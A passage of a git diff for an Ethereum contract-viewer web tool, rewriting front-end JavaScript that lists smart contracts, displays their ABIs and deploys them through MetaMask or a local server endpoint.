ethers.utils.Interface(abi) + bin = iface.encodeFunctionData("withdraw",[value]); + + const transactionParameters = { + nonce: '0x00', // ignored by MetaMask + gasPrice: '0xBA43B7400', // customizable by user during MetaMask confirmation. + gas: '0x1E8480', // customizable by user during MetaMask confirmation. + to: address, // Required except during contract publications. + from: ethereum.selectedAddress, // must match user's active address. + value: '0x00', // Only required to send ether to the recipient from the initiating external account. + data: bin, // Optional, but used for defining smart contract creation and interaction. + chainId: ethereum.networkVersion, // Used to prevent transaction reuse across blockchains. Auto-filled by MetaMask. + }; + + await ethereum.request({ + method: 'eth_sendTransaction', + params: [transactionParameters], + }).then(async (txHash)=> { + console.log(txHash); + }).catch((error) => { + console.log(error); + }); + } \ No newline at end of file diff --git a/tools/Blockchain/EtherView/server/static/js/old/script_contract_list.js b/tools/Blockchain/EtherView/server/static/js/old/script_contract_list.js index a47f5a5ff..59d92e3bb 100644 --- a/tools/Blockchain/EtherView/server/static/js/old/script_contract_list.js +++ b/tools/Blockchain/EtherView/server/static/js/old/script_contract_list.js @@ -1,82 +1,82 @@ -window.onload = function(){ - init(); -} - -function init(){ - auto_refresh_table(); - pop_up_window_cross_btn() -} - -var able_refresh = true; - -function abi_pop_up(json_abi, contract_name){ - const iface = new ethers.utils.Interface(json_abi); - const FormatTypes = ethers.utils.FormatTypes; - const readable_abi = iface.format(FormatTypes.minimal); - let abi_window_content = document.getElementById("abi-window-content"); - for(let i = 0; i < readable_abi.length; i++){ - var function_span_tag = document.createElement('span'); - function_span_tag.innerHTML = readable_abi[i]; - function_span_tag.style.display= "block"; - abi_window_content.appendChild(function_span_tag); - } - document.querySelector(".contract_name").innerHTML = contract_name; - document.querySelector(".popup").style.display = "block"; - -} - -function delete_smart_contract(address){ - $.ajax({ - type: "DELETE", - url:"/contract/api/delete-contract/"+address, - data: "", - dataType: 'json', - contentType: "application/json", - precessData: false, - success: function(response){ - console.log(response); - }, - error: function(error){ - console.log(error); - } - }); -} - -function close_abi_window(){ - document.querySelector("#abi-window-content").innerHTML = ""; - document.querySelector(".popup").style.display = "none"; -} - -function delete_btn(address, contract_name){ - able_refresh = false; - if (window.confirm("Are you sure to delete smart contract " + contract_name + "?")){ - contract_tag = document.getElementById(address); - contract_tag.parentNode.removeChild(contract_tag); - delete_smart_contract(address); - } - able_refresh = true; -} - -function auto_refresh_table(){ - const table_body = document.getElementById("table_body"); - - setInterval(function(){ - fetch("/contract-list-table",{ - method: "GET" - }) - .then(response =>{ - return response.text(); - }) - .then(html =>{ - if(able_refresh){ - table_body.innerHTML = html; - } - }); - }, 8000); - -} - - -function pop_up_window_cross_btn(){ - document.querySelector(".btn-close").onclick = function(){close_abi_window()}; +window.onload = function(){ + init(); +} + +function init(){ + auto_refresh_table(); + pop_up_window_cross_btn() +} + +var able_refresh = true; + +function abi_pop_up(json_abi, contract_name){ + const iface = new ethers.utils.Interface(json_abi); + const FormatTypes = ethers.utils.FormatTypes; + const readable_abi = iface.format(FormatTypes.minimal); + let abi_window_content = document.getElementById("abi-window-content"); + for(let i = 0; i < readable_abi.length; i++){ + var function_span_tag = document.createElement('span'); + function_span_tag.innerHTML = readable_abi[i]; + function_span_tag.style.display= "block"; + abi_window_content.appendChild(function_span_tag); + } + document.querySelector(".contract_name").innerHTML = contract_name; + document.querySelector(".popup").style.display = "block"; + +} + +function delete_smart_contract(address){ + $.ajax({ + type: "DELETE", + url:"/contract/api/delete-contract/"+address, + data: "", + dataType: 'json', + contentType: "application/json", + precessData: false, + success: function(response){ + console.log(response); + }, + error: function(error){ + console.log(error); + } + }); +} + +function close_abi_window(){ + document.querySelector("#abi-window-content").innerHTML = ""; + document.querySelector(".popup").style.display = "none"; +} + +function delete_btn(address, contract_name){ + able_refresh = false; + if (window.confirm("Are you sure to delete smart contract " + contract_name + "?")){ + contract_tag = document.getElementById(address); + contract_tag.parentNode.removeChild(contract_tag); + delete_smart_contract(address); + } + able_refresh = true; +} + +function auto_refresh_table(){ + const table_body = document.getElementById("table_body"); + + setInterval(function(){ + fetch("/contract-list-table",{ + method: "GET" + }) + .then(response =>{ + return response.text(); + }) + .then(html =>{ + if(able_refresh){ + table_body.innerHTML = html; + } + }); + }, 8000); + +} + + +function pop_up_window_cross_btn(){ + document.querySelector(".btn-close").onclick = function(){close_abi_window()}; } \ No newline at end of file diff --git a/tools/Blockchain/EtherView/server/static/js/old/script_deploy_contract-metamask.js b/tools/Blockchain/EtherView/server/static/js/old/script_deploy_contract-metamask.js index 971886289..a94623877 100644 --- a/tools/Blockchain/EtherView/server/static/js/old/script_deploy_contract-metamask.js +++ b/tools/Blockchain/EtherView/server/static/js/old/script_deploy_contract-metamask.js @@ -1,378 +1,378 @@ -window.onload = function(){ - init(); -} - - - -const unit = 0.000000000000000001; -var uploaded = false; -var metamask_connected = false; -var accounts; -var iface; - - -function init(){ - document.getElementById("upload").onclick = function(){uploadAndDeploy("upload")}; - document.getElementById("deploy").onclick = function(){uploadAndDeploy("deploy")}; -} - -function isNumeric(value) { - return /^-?\d+$/.test(value); -} - -function verify_arguments(value, type){ - type = type.toLowerCase() - if (type == "string"){ - return true; - } - else if (type == "address"){ - if (value.length == 42 && value.slice(0, 2) == "0x"){ - return true; - } - else{ - alert("Please input a correct address"); - return false; - } - } - else if (value.includes("uint") && ! value.includes("[]")){ - if (isNumeric(value)){ - return true; - } - else{ - alert("You must input integer variable!"); - return false; - } - } - else{ - alert("Only support String, address and uint types of arguments!"); - return false; - } - - -} - -function uploadAndDeploy(evt){ - const abi_file = document.getElementById("abi-file").files[0]; - const bin_file = document.getElementById("bin-file").files[0]; - if (!metamask_connected){ - alert("Please connect MetaMask first!"); - return; - } - - if (abi_file && bin_file) { - var abi_name= abi_file['name'].split('.'); - var bin_name= bin_file['name'].split('.'); - if (abi_name[0] !== bin_name[0]){ - alert('file names are not matched!') - return - } - if (evt == "upload"){ - uploaded = true; - alert('files have been uploaded!') - displayABI(abi_file); - } - else if (evt == "deploy" && uploaded){ - - - var value_unit = document.getElementById("value-unit"); - value_unit = value_unit.options[value_unit.selectedIndex].text; - - let gas_limit = parseInt(document.getElementById("gas-limit").value); - let wei_value = parseInt(document.getElementById("ether-value").value); - if ( wei_value > 0 && !payable_constructor ){ - alert('Contract must contain a payable constructor for depositing ether value during deploying!. Otherwise, set it to 0'); - return; - } - - let arguments = document.querySelectorAll('[id^="argument"]'); - - var parameters_for_constructor = [] - for(let i = 0; i < arguments.length; i++){ - if(!arguments[i].checkValidity()){ - alert("Argument(s) cannot be empty and must be valid!"); - - return; - } - else if (!verify_arguments(arguments[i].value, arguments[i].placeholder)){ - return; - } - if (arguments[i].placeholder.includes("uint")){ - parameters_for_constructor.push(parseInt(arguments[i].value)); - } - else{ - parameters_for_constructor.push(arguments[i].value); - } - } - - var encode_arguments = iface.encodeDeploy(parameters_for_constructor) - - if (value_unit == "Ether"){ - wei_value *= 1000000000000000000; - } - else if (value_unit == "Gwei"){ - wei_value *= 1000000000; - } - var reader = new FileReader(); - var reader1 = new FileReader(); - var abi; - var bin; - reader.readAsText(bin_file, "UTF-8"); - - var deploy_btn = document.getElementById("deploy"); - deploy_btn.style.display = "none"; - - reader.onload = function (evt) { - bin = evt.target.result; - bin = bin.trim(); - reader1.readAsText(abi_file, "UTF-8"); - - } - reader1.onload = function(evt){ - abi = evt.target.result; - var data = {"abi": abi, "bin":bin + encode_arguments.slice(2), "name": abi_name[0], "gas_limit": gas_limit, "wei-value": wei_value}; - deploy_via_metamask(data); - } - uploaded = false; - contained_constructor = false; - payable_constructor = false; - } - else{ - alert('You need to upload both .abi and .bin files first!'); - } - } - else{ - - alert('You need to upload both .abi and .bin files!'); - } - -} - - -function displayABI(abi_file){ - var reader = new FileReader(); - reader.readAsText(abi_file, "UTF-8"); - reader.onload = function (evt) { - // load abi file by ethers.js - json_abi = JSON.parse(evt.target.result); - iface = new ethers.utils.Interface(json_abi); - const FormatTypes = ethers.utils.FormatTypes; - const readable_abi = iface.format(FormatTypes.minimal); - let abi_pre_block = document.getElementById("abi-pre-block"); - abi_pre_block.innerHTML=""; // clear all abi functions shown before - - - // append abi function string to front-end - for(let i = 0; i < readable_abi.length; i++){ - var function_span_tag = document.createElement('span'); - function_span_tag.innerHTML = readable_abi[i]; - function_span_tag.style.display= "block"; - abi_pre_block.appendChild(function_span_tag); - } - - // clear all arguments input from last uploaded contract - var arugments_block = document.getElementsByClassName("deploy-arugments-block")[0]; - arugments_block.style.display = "none"; - arugments_block.innerHTML = ""; - - // add arguments input from current uploaded contract for deployment - for (let i = 0; i < json_abi.length; i++){ - let method = json_abi[i]; - if (method['type'] == "constructor"){ - contained_constructor = true; - if(method['inputs'] != "undefined"){ - var inputs = method['inputs']; - for(let j = 0; j < inputs.length; j++){ - let arg_name_tag = document.createElement('label'); - let arg_input_tag = document.createElement('input'); - arg_input_tag.id = "argument" + j; - arg_input_tag.required = true; - arg_name_tag.innerHTML = inputs[j]['name'] + ": "; - arg_input_tag.type = "text"; - arg_input_tag.placeholder = inputs[j]['type']; - arg_name_tag.appendChild(arg_input_tag); - arugments_block.appendChild(arg_name_tag); - } - arugments_block.style.display = "flex"; - } - - if (method['stateMutability'] == "payable"){ - payable_constructor = true; - } - } - } - - } - reader.onerror = function (evt) { - document.getElementById("abi-pre-block").innerHTML = "error reading file"; - } - -} - - - -function printingDeployStatus(response, error){ - var deploy_btn = document.getElementById("deploy"); - deploy_btn.style.display = "initial"; - let msg = document.createElement('span'); - let deploy_status_block = document.getElementById("deploy-status-block"); - if (error){ - msg.innerHTML = "-> " + response; - msg.style.color = "red"; - } - else if(response == 200){ - msg.innerHTML = "-> Contract deployed successfully!"; - msg.style.color = "green"; - } - else{ - - msg.innerHTML = "-> " + response - msg.style.color = "red"; - } - - msg.classList.add('new-msg'); - deploy_status_block.append(msg); - deploy_status_block.scrollTop = deploy_status_block.scrollHeight; -} - - - -// deploy a contract -async function deploy_via_metamask(information){ - - const transactionParameters = { - nonce: '0x00', // ignored by MetaMask - gasPrice: '0xBA43B7400', // customizable by user during MetaMask confirmation. - gas: '0x' + information['gas_limit'].toString(16), // customizable by user during MetaMask confirmation. - to: null, // Required except during contract publications. - from: ethereum.selectedAddress, // must match user's active address. - value: '0x' + information['wei-value'].toString(16), // Only required to send ether to the recipient from the initiating external account. - data: information['bin'], // Optional, but used for defining smart contract creation and interaction. - chainId: ethereum.networkVersion, // Used to prevent transaction reuse across blockchains. Auto-filled by MetaMask. - }; - - await ethereum.request({ - method: 'eth_sendTransaction', - params: [transactionParameters], - }).then(async (txHash)=> { - // get receipt by txhash - const receipt = await get_receipt_by_hash(txHash); - - information['block_number'] = receipt.blockNumber; - information['contract_address'] = receipt.contractAddress; - let address_head = receipt.from.slice(0,5); - let address_end = receipt.from.slice(-6,-1); - information['owner'] = address_head + "..." + address_end; - information['balance'] = await get_balance(receipt.contractAddress); - - // add the contract data to database - add_contract_data(information); - }).catch((error) => { - error_msg = error.message.split(':') - printingDeployStatus(error_msg[1], true); - }); - - - - -} - -async function add_contract_data(information){ - $.ajax({ - type: "POST", - url: "/contract/api/add-contract-data", - data: JSON.stringify(information), - dataType: 'json', - contentType: "application/json", - processData: false, - success: function(response) { - printingDeployStatus(200, false); - } - }); -} - -async function get_receipt_by_hash(txHash){ - let account_option = document.getElementById("account_option"); - - let account_ether = await get_balance(accounts[0]); - address_head = accounts[0].slice(0,5); - address_end = accounts[0].slice(-6,-1); - account_option.innerHTML = address_head + "..." + address_end + " ("+account_ether+ " ether) "; - - // using ethers.js to get the transaction which will wait for the block is mined. - var provider = ethers.getDefaultProvider("http://10.150.0.71:8545"); - var receipt = await provider.waitForTransaction(txHash); - - return receipt; - -} - -async function connect_metamask(){ - if (typeof window.ethereum !== "undefined" && ethereum.isMetaMask){ - // get current connected account - metamask_connected = true; - accounts = await ethereum.request({method: "eth_requestAccounts"}); - // accounts[0] is storing current account address - let account_option = document.getElementById("account_option"); - let account_ether = await get_balance(accounts[0]); - let address_head = accounts[0].slice(0,5); - let address_end = accounts[0].slice(-6,-1); - account_option.innerHTML = address_head + "..." + address_end + " ("+account_ether+ " ether) "; - - // init action if connected account changed - metamask_status_init(); - - let connected_btn = document.getElementById("connected_btn"); - let conntect_cross = document.getElementById("connect_cross"); - let conntect_tick = document.getElementById("connect_tick"); - connected_btn.style.display = "none"; - conntect_cross.style.display = "none"; - conntect_tick.style.display = "flex"; - } - else{ - alert("Please install metamask in your browser!"); - } -} - -// get the balance of address -async function get_balance(address){ - var res = await ethereum - .request({ - method: 'eth_getBalance', - params: [address, "latest"], - }); - ether = parseInt(res, 16) * unit; - return ether; -} - -async function metamask_status_init(){ - - window.ethereum.on('accountsChanged', async function (new_accounts) { - accounts[0] = new_accounts[0] - let account_option = document.getElementById("account_option"); - - // if we can't get an account, user have to connect an account - if (new_accounts.length == 0){ - account_option.innerHTML = ""; - let connected_btn = document.getElementById("connected_btn"); - let conntect_cross = document.getElementById("connect_cross"); - let conntect_tick = document.getElementById("connect_tick"); - connected_btn.style.display = "initial"; - conntect_cross.style.display = "block"; - conntect_tick.style.display = "none"; - metamask_connected = false; - } - // change page information for current connected account - else{ - let account_ether = await get_balance(new_accounts[0]); - address_head = new_accounts[0].slice(0,5); - address_end = new_accounts[0].slice(-6,-1); - account_option.innerHTML = address_head + "..." + address_end + " ("+account_ether+ " ether) "; - } - }); - -} - - - - - +window.onload = function(){ + init(); +} + + + +const unit = 0.000000000000000001; +var uploaded = false; +var metamask_connected = false; +var accounts; +var iface; + + +function init(){ + document.getElementById("upload").onclick = function(){uploadAndDeploy("upload")}; + document.getElementById("deploy").onclick = function(){uploadAndDeploy("deploy")}; +} + +function isNumeric(value) { + return /^-?\d+$/.test(value); +} + +function verify_arguments(value, type){ + type = type.toLowerCase() + if (type == "string"){ + return true; + } + else if (type == "address"){ + if (value.length == 42 && value.slice(0, 2) == "0x"){ + return true; + } + else{ + alert("Please input a correct address"); + return false; + } + } + else if (value.includes("uint") && ! value.includes("[]")){ + if (isNumeric(value)){ + return true; + } + else{ + alert("You must input integer variable!"); + return false; + } + } + else{ + alert("Only support String, address and uint types of arguments!"); + return false; + } + + +} + +function uploadAndDeploy(evt){ + const abi_file = document.getElementById("abi-file").files[0]; + const bin_file = document.getElementById("bin-file").files[0]; + if (!metamask_connected){ + alert("Please connect MetaMask first!"); + return; + } + + if (abi_file && bin_file) { + var abi_name= abi_file['name'].split('.'); + var bin_name= bin_file['name'].split('.'); + if (abi_name[0] !== bin_name[0]){ + alert('file names are not matched!') + return + } + if (evt == "upload"){ + uploaded = true; + alert('files have been uploaded!') + displayABI(abi_file); + } + else if (evt == "deploy" && uploaded){ + + + var value_unit = document.getElementById("value-unit"); + value_unit = value_unit.options[value_unit.selectedIndex].text; + + let gas_limit = parseInt(document.getElementById("gas-limit").value); + let wei_value = parseInt(document.getElementById("ether-value").value); + if ( wei_value > 0 && !payable_constructor ){ + alert('Contract must contain a payable constructor for depositing ether value during deploying!. Otherwise, set it to 0'); + return; + } + + let arguments = document.querySelectorAll('[id^="argument"]'); + + var parameters_for_constructor = [] + for(let i = 0; i < arguments.length; i++){ + if(!arguments[i].checkValidity()){ + alert("Argument(s) cannot be empty and must be valid!"); + + return; + } + else if (!verify_arguments(arguments[i].value, arguments[i].placeholder)){ + return; + } + if (arguments[i].placeholder.includes("uint")){ + parameters_for_constructor.push(parseInt(arguments[i].value)); + } + else{ + parameters_for_constructor.push(arguments[i].value); + } + } + + var encode_arguments = iface.encodeDeploy(parameters_for_constructor) + + if (value_unit == "Ether"){ + wei_value *= 1000000000000000000; + } + else if (value_unit == "Gwei"){ + wei_value *= 1000000000; + } + var reader = new FileReader(); + var reader1 = new FileReader(); + var abi; + var bin; + reader.readAsText(bin_file, "UTF-8"); + + var deploy_btn = document.getElementById("deploy"); + deploy_btn.style.display = "none"; + + reader.onload = function (evt) { + bin = evt.target.result; + bin = bin.trim(); + reader1.readAsText(abi_file, "UTF-8"); + + } + reader1.onload = function(evt){ + abi = evt.target.result; + var data = {"abi": abi, "bin":bin + encode_arguments.slice(2), "name": abi_name[0], "gas_limit": gas_limit, "wei-value": wei_value}; + deploy_via_metamask(data); + } + uploaded = false; + contained_constructor = false; + payable_constructor = false; + } + else{ + alert('You need to upload both .abi and .bin files first!'); + } + } + else{ + + alert('You need to upload both .abi and .bin files!'); + } + +} + + +function displayABI(abi_file){ + var reader = new FileReader(); + reader.readAsText(abi_file, "UTF-8"); + reader.onload = function (evt) { + // load abi file by ethers.js + json_abi = JSON.parse(evt.target.result); + iface = new ethers.utils.Interface(json_abi); + const FormatTypes = ethers.utils.FormatTypes; + const readable_abi = iface.format(FormatTypes.minimal); + let abi_pre_block = document.getElementById("abi-pre-block"); + abi_pre_block.innerHTML=""; // clear all abi functions shown before + + + // append abi function string to front-end + for(let i = 0; i < readable_abi.length; i++){ + var function_span_tag = document.createElement('span'); + function_span_tag.innerHTML = readable_abi[i]; + function_span_tag.style.display= "block"; + abi_pre_block.appendChild(function_span_tag); + } + + // clear all arguments input from last uploaded contract + var arugments_block = document.getElementsByClassName("deploy-arugments-block")[0]; + arugments_block.style.display = "none"; + arugments_block.innerHTML = ""; + + // add arguments input from current uploaded contract for deployment + for (let i = 0; i < json_abi.length; i++){ + let method = json_abi[i]; + if (method['type'] == "constructor"){ + contained_constructor = true; + if(method['inputs'] != "undefined"){ + var inputs = method['inputs']; + for(let j = 0; j < inputs.length; j++){ + let arg_name_tag = document.createElement('label'); + let arg_input_tag = document.createElement('input'); + arg_input_tag.id = "argument" + j; + arg_input_tag.required = true; + arg_name_tag.innerHTML = inputs[j]['name'] + ": "; + arg_input_tag.type = "text"; + arg_input_tag.placeholder = inputs[j]['type']; + arg_name_tag.appendChild(arg_input_tag); + arugments_block.appendChild(arg_name_tag); + } + arugments_block.style.display = "flex"; + } + + if (method['stateMutability'] == "payable"){ + payable_constructor = true; + } + } + } + + } + reader.onerror = function (evt) { + document.getElementById("abi-pre-block").innerHTML = "error reading file"; + } + +} + + + +function printingDeployStatus(response, error){ + var deploy_btn = document.getElementById("deploy"); + deploy_btn.style.display = "initial"; + let msg = document.createElement('span'); + let deploy_status_block = document.getElementById("deploy-status-block"); + if (error){ + msg.innerHTML = "-> " + response; + msg.style.color = "red"; + } + else if(response == 200){ + msg.innerHTML = "-> Contract deployed successfully!"; + msg.style.color = "green"; + } + else{ + + msg.innerHTML = "-> " + response + msg.style.color = "red"; + } + + msg.classList.add('new-msg'); + deploy_status_block.append(msg); + deploy_status_block.scrollTop = deploy_status_block.scrollHeight; +} + + + +// deploy a contract +async function deploy_via_metamask(information){ + + const transactionParameters = { + nonce: '0x00', // ignored by MetaMask + gasPrice: '0xBA43B7400', // customizable by user during MetaMask confirmation. + gas: '0x' + information['gas_limit'].toString(16), // customizable by user during MetaMask confirmation. + to: null, // Required except during contract publications. + from: ethereum.selectedAddress, // must match user's active address. + value: '0x' + information['wei-value'].toString(16), // Only required to send ether to the recipient from the initiating external account. + data: information['bin'], // Optional, but used for defining smart contract creation and interaction. + chainId: ethereum.networkVersion, // Used to prevent transaction reuse across blockchains. Auto-filled by MetaMask. + }; + + await ethereum.request({ + method: 'eth_sendTransaction', + params: [transactionParameters], + }).then(async (txHash)=> { + // get receipt by txhash + const receipt = await get_receipt_by_hash(txHash); + + information['block_number'] = receipt.blockNumber; + information['contract_address'] = receipt.contractAddress; + let address_head = receipt.from.slice(0,5); + let address_end = receipt.from.slice(-6,-1); + information['owner'] = address_head + "..." + address_end; + information['balance'] = await get_balance(receipt.contractAddress); + + // add the contract data to database + add_contract_data(information); + }).catch((error) => { + error_msg = error.message.split(':') + printingDeployStatus(error_msg[1], true); + }); + + + + +} + +async function add_contract_data(information){ + $.ajax({ + type: "POST", + url: "/contract/api/add-contract-data", + data: JSON.stringify(information), + dataType: 'json', + contentType: "application/json", + processData: false, + success: function(response) { + printingDeployStatus(200, false); + } + }); +} + +async function get_receipt_by_hash(txHash){ + let account_option = document.getElementById("account_option"); + + let account_ether = await get_balance(accounts[0]); + address_head = accounts[0].slice(0,5); + address_end = accounts[0].slice(-6,-1); + account_option.innerHTML = address_head + "..." + address_end + " ("+account_ether+ " ether) "; + + // using ethers.js to get the transaction which will wait for the block is mined. + var provider = ethers.getDefaultProvider("http://10.150.0.71:8545"); + var receipt = await provider.waitForTransaction(txHash); + + return receipt; + +} + +async function connect_metamask(){ + if (typeof window.ethereum !== "undefined" && ethereum.isMetaMask){ + // get current connected account + metamask_connected = true; + accounts = await ethereum.request({method: "eth_requestAccounts"}); + // accounts[0] is storing current account address + let account_option = document.getElementById("account_option"); + let account_ether = await get_balance(accounts[0]); + let address_head = accounts[0].slice(0,5); + let address_end = accounts[0].slice(-6,-1); + account_option.innerHTML = address_head + "..." + address_end + " ("+account_ether+ " ether) "; + + // init action if connected account changed + metamask_status_init(); + + let connected_btn = document.getElementById("connected_btn"); + let conntect_cross = document.getElementById("connect_cross"); + let conntect_tick = document.getElementById("connect_tick"); + connected_btn.style.display = "none"; + conntect_cross.style.display = "none"; + conntect_tick.style.display = "flex"; + } + else{ + alert("Please install metamask in your browser!"); + } +} + +// get the balance of address +async function get_balance(address){ + var res = await ethereum + .request({ + method: 'eth_getBalance', + params: [address, "latest"], + }); + ether = parseInt(res, 16) * unit; + return ether; +} + +async function metamask_status_init(){ + + window.ethereum.on('accountsChanged', async function (new_accounts) { + accounts[0] = new_accounts[0] + let account_option = document.getElementById("account_option"); + + // if we can't get an account, user have to connect an account + if (new_accounts.length == 0){ + account_option.innerHTML = ""; + let connected_btn = document.getElementById("connected_btn"); + let conntect_cross = document.getElementById("connect_cross"); + let conntect_tick = document.getElementById("connect_tick"); + connected_btn.style.display = "initial"; + conntect_cross.style.display = "block"; + conntect_tick.style.display = "none"; + metamask_connected = false; + } + // change page information for current connected account + else{ + let account_ether = await get_balance(new_accounts[0]); + address_head = new_accounts[0].slice(0,5); + address_end = new_accounts[0].slice(-6,-1); + account_option.innerHTML = address_head + "..." + address_end + " ("+account_ether+ " ether) "; + } + }); + +} + + + + + diff --git a/tools/Blockchain/EtherView/server/static/js/old/script_deploy_contract.js b/tools/Blockchain/EtherView/server/static/js/old/script_deploy_contract.js index 480911f17..2a84a0ec9 100644 --- a/tools/Blockchain/EtherView/server/static/js/old/script_deploy_contract.js +++ b/tools/Blockchain/EtherView/server/static/js/old/script_deploy_contract.js @@ -1,198 +1,198 @@ - -window.onload = function(){ - init(); -} - -function init(){ - document.getElementById("upload").onclick = function(){uploadAndDeploy("upload")}; - document.getElementById("deploy").onclick = function(){uploadAndDeploy("deploy")}; - - -} - -var uploaded = false; -var contained_constructor = false; -var payable_constructor = false; - -function uploadAndDeploy(evt){ - const abi_file = document.getElementById("abi-file").files[0]; - const bin_file = document.getElementById("bin-file").files[0]; - - - if (abi_file && bin_file) { - var abi_name= abi_file['name'].split('.'); - var bin_name= bin_file['name'].split('.'); - if (abi_name[0] !== bin_name[0]){ - alert('file names are not matched!') - return - } - if (evt == "upload"){ - uploaded = true; - alert('files have been uploaded!') - displayABI(abi_file); - } - else if (evt == "deploy" && uploaded){ - var wallet_account = document.getElementById("account"); - var value_unit = document.getElementById("value-unit"); - value_unit = value_unit.options[value_unit.selectedIndex].text; - wallet_account = wallet_account.options[wallet_account.selectedIndex].text; - wallet_account = wallet_account.split(":"); - let gas_limit = parseInt(document.getElementById("gas-limit").value); - let ether_value = parseInt(document.getElementById("ether-value").value); - if ( ether_value > 0 && !payable_constructor ){ - alert('Contract must contain a payable constructor for depositing ether value during deploying!. Otherwise, set it to 0'); - return; - } - - let arguments = document.querySelectorAll('[id^="argument"]'); - - for(let i = 0; i < arguments.length; i++){ - if(!arguments[i].checkValidity()){ - alert("Argument(s) cannot be empty!"); - return; - } - } - - // The following if-statement will be delete after supported. - if (arguments.length > 0){ - alert("not suppot contract with arguments deployment!"); - return; - } - - - if (value_unit == "Wei"){ - ether_value *= 0.000000000000000001; - } - else if (value_unit == "Gwei"){ - ether_value *= 0.000000001; - } - var reader = new FileReader(); - var reader1 = new FileReader(); - var abi; - var bin; - reader.readAsText(bin_file, "UTF-8"); - - reader.onload = function (evt) { - bin = evt.target.result; - reader1.readAsText(abi_file, "UTF-8"); - - } - reader1.onload = function(evt){ - abi = evt.target.result; - var data = {"abi": abi, "bin":bin, "wallet_name":wallet_account[0], "account": wallet_account[1], "name": abi_name[0], "gas_limit": gas_limit, "ether-value": ether_value}; - deployment(data); - } - uploaded = false; - contained_constructor = false; - payable_constructor = false; - } - else{ - alert('You need to upload both .abi and .bin files first!'); - } - } - else{ - - alert('You need to upload both .abi and .bin files!'); - } - -} - -function displayABI(abi_file){ - var reader = new FileReader(); - reader.readAsText(abi_file, "UTF-8"); - reader.onload = function (evt) { - json_abi = JSON.parse(evt.target.result); - const iface = new ethers.utils.Interface(json_abi); - const FormatTypes = ethers.utils.FormatTypes; - const readable_abi = iface.format(FormatTypes.minimal); - let abi_pre_block = document.getElementById("abi-pre-block"); - abi_pre_block.innerHTML=""; // clear all abi functions shown before - - for(let i = 0; i < readable_abi.length; i++){ - var function_span_tag = document.createElement('span'); - function_span_tag.innerHTML = readable_abi[i]; - function_span_tag.style.display= "block"; - abi_pre_block.appendChild(function_span_tag); - } - - // clear all arguments input from last uploaded contract - var arugments_block = document.getElementsByClassName("deploy-arugments-block")[0]; - arugments_block.style.display = "none"; - arugments_block.innerHTML = ""; - - // add arguments input from current uploaded contract for deployment - for (let i = 0; i < json_abi.length; i++){ - let method = json_abi[i]; - if (method['type'] == "constructor"){ - contained_constructor = true; - if(method['inputs'] != "undefined"){ - var inputs = method['inputs']; - for(let j = 0; j < inputs.length; j++){ - let arg_name_tag = document.createElement('label'); - let arg_input_tag = document.createElement('input'); - arg_input_tag.id = "argument" + i; - arg_input_tag.required = true; - arg_name_tag.innerHTML = inputs[j]['name'] + ": "; - arg_input_tag.type = "text"; - arg_input_tag.placeholder = inputs[j]['type']; - arg_name_tag.appendChild(arg_input_tag); - arugments_block.appendChild(arg_name_tag); - } - arugments_block.style.display = "flex"; - } - - if (method['stateMutability'] == "payable"){ - payable_constructor = true; - } - } - } - - } - reader.onerror = function (evt) { - document.getElementById("abi-pre-block").innerHTML = "error reading file"; - } - -} - -function printingDeployStatus(response, error){ - let msg = document.createElement('span'); - let deploy_status_block = document.getElementById("deploy-status-block"); - if (error){ - msg.innerHTML = "-> " + response.statusText; - msg.style.color = "red"; - } - else if(response.code == 200){ - msg.innerHTML = "-> Contract deployed successfully!"; - msg.style.color = "green"; - } - else{ - - msg.innerHTML = "-> " + response.message; - msg.style.color = "red"; - } - - msg.classList.add('new-msg'); - deploy_status_block.append(msg); - deploy_status_block.scrollTop = deploy_status_block.scrollHeight; -} - - -function deployment(information){ - $.ajax({ - type: "POST", - url: "/contract-deploy", - data: JSON.stringify(information), - dataType: 'json', - contentType: "application/json", - processData: false, - success: function(response) { - printingDeployStatus(response, false); - }, - error: function(error) { - printingDeployStatus(error, true); - } - }); - - -} - + +window.onload = function(){ + init(); +} + +function init(){ + document.getElementById("upload").onclick = function(){uploadAndDeploy("upload")}; + document.getElementById("deploy").onclick = function(){uploadAndDeploy("deploy")}; + + +} + +var uploaded = false; +var contained_constructor = false; +var payable_constructor = false; + +function uploadAndDeploy(evt){ + const abi_file = document.getElementById("abi-file").files[0]; + const bin_file = document.getElementById("bin-file").files[0]; + + + if (abi_file && bin_file) { + var abi_name= abi_file['name'].split('.'); + var bin_name= bin_file['name'].split('.'); + if (abi_name[0] !== bin_name[0]){ + alert('file names are not matched!') + return + } + if (evt == "upload"){ + uploaded = true; + alert('files have been uploaded!') + displayABI(abi_file); + } + else if (evt == "deploy" && uploaded){ + var wallet_account = document.getElementById("account"); + var value_unit = document.getElementById("value-unit"); + value_unit = value_unit.options[value_unit.selectedIndex].text; + wallet_account = wallet_account.options[wallet_account.selectedIndex].text; + wallet_account = wallet_account.split(":"); + let gas_limit = parseInt(document.getElementById("gas-limit").value); + let ether_value = parseInt(document.getElementById("ether-value").value); + if ( ether_value > 0 && !payable_constructor ){ + alert('Contract must contain a payable constructor for depositing ether value during deploying!. Otherwise, set it to 0'); + return; + } + + let arguments = document.querySelectorAll('[id^="argument"]'); + + for(let i = 0; i < arguments.length; i++){ + if(!arguments[i].checkValidity()){ + alert("Argument(s) cannot be empty!"); + return; + } + } + + // The following if-statement will be delete after supported. + if (arguments.length > 0){ + alert("not suppot contract with arguments deployment!"); + return; + } + + + if (value_unit == "Wei"){ + ether_value *= 0.000000000000000001; + } + else if (value_unit == "Gwei"){ + ether_value *= 0.000000001; + } + var reader = new FileReader(); + var reader1 = new FileReader(); + var abi; + var bin; + reader.readAsText(bin_file, "UTF-8"); + + reader.onload = function (evt) { + bin = evt.target.result; + reader1.readAsText(abi_file, "UTF-8"); + + } + reader1.onload = function(evt){ + abi = evt.target.result; + var data = {"abi": abi, "bin":bin, "wallet_name":wallet_account[0], "account": wallet_account[1], "name": abi_name[0], "gas_limit": gas_limit, "ether-value": ether_value}; + deployment(data); + } + uploaded = false; + contained_constructor = false; + payable_constructor = false; + } + else{ + alert('You need to upload both .abi and .bin files first!'); + } + } + else{ + + alert('You need to upload both .abi and .bin files!'); + } + +} + +function displayABI(abi_file){ + var reader = new FileReader(); + reader.readAsText(abi_file, "UTF-8"); + reader.onload = function (evt) { + json_abi = JSON.parse(evt.target.result); + const iface = new ethers.utils.Interface(json_abi); + const FormatTypes = ethers.utils.FormatTypes; + const readable_abi = iface.format(FormatTypes.minimal); + let abi_pre_block = document.getElementById("abi-pre-block"); + abi_pre_block.innerHTML=""; // clear all abi functions shown before + + for(let i = 0; i < readable_abi.length; i++){ + var function_span_tag = document.createElement('span'); + 